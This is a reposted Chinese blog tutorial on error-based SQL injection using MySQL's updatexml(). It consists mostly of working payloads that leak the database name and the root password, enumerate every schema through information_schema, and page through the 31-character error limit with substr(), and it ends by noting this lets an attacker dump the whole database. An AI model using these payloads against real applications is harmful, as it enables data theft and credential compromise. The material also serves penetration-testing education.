SQL注入之错误注入_基于updatexml()

本文阅读 2 分钟
首页 安全分享,WEB安全 正文

updatexml() 常用来修改xml文件的内容

updatexml(参数1 , 参数2 , 参数3);

  • 参数1: 文件名 , 比如 a.xml
  • 参数2: 路径 , 比如 contry->city1 ( 不允许特殊字符 )
  • 参数3: 数值 , 比如 tianjing

 如果路径中存在特殊符号 比如'~',就会报错 , 同时后显示路径参数的内容

img

 路径参数的内容总会在错误提示中展示出来

img

 如果路径参数中包含函数 , 那么函数将会被执行 , 并将执行结果展示在报错内容中

select updatexml(1,concat('~',database()),3);

比如,查询当前使用的数据库

img

 此处的concat() , 可以将执行结果拼接一个'~'字符串 , 目的在于触发错误

 如果路径参数中包含SQL语句 , 同样会被执行 , 并将执行结果展示在报错内容中

select updatexml(1,concat('~',
(select password from user where username='root')
),3);

img

 

 基于此 , 可将SQL语句替换为其他语句 , 如获取所有数据库

select updatexml(1,
concat('~',(
select group_concat(schema_name) 
from information_schema.schemata
)),3);

img

 由于updatexml()返回的字符串长度最多为31个字符串 , 我们可以多次截取返回的字符串的不同位置,从而获取所有的数据库

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,1,31)
),3);

 从第1个字符开始 , 截取31个

img

 从第32个字符开始 , 截取31个

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,32,31)
),3);

img

 

 至此 , 已经获取了所有的数据库 , 通过此方法以此获取所有表 , 所有字段 , 实现脱库

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/wangyuxiang946/article/details/118084345
-- 展开阅读全文 --
Redis底层数据结构--跳跃表
« 上一篇 04-28
BUUCTF Web [强网杯 2019]随便注
下一篇 » 06-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复